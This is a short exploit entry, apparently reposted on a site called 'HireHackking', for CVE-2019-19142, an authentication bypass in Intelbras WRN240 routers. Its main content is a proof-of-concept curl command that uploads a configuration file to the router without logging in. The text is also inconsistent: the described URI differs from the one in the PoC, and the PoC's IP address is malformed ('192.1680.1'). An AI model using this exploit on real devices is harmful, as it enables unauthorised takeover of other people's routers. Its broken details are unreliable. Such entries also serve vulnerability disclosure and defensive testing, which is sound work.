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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage:  https://www.intelbras.com/
# Software Link:  http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142

Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.

REFS:
 https://fireshellsecurity.team/hack-n-routers/
 https://github.com/ElberTavares/routers-exploit/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin
http://192.1680.1/incoming/RouterBakCfgUpload.cfg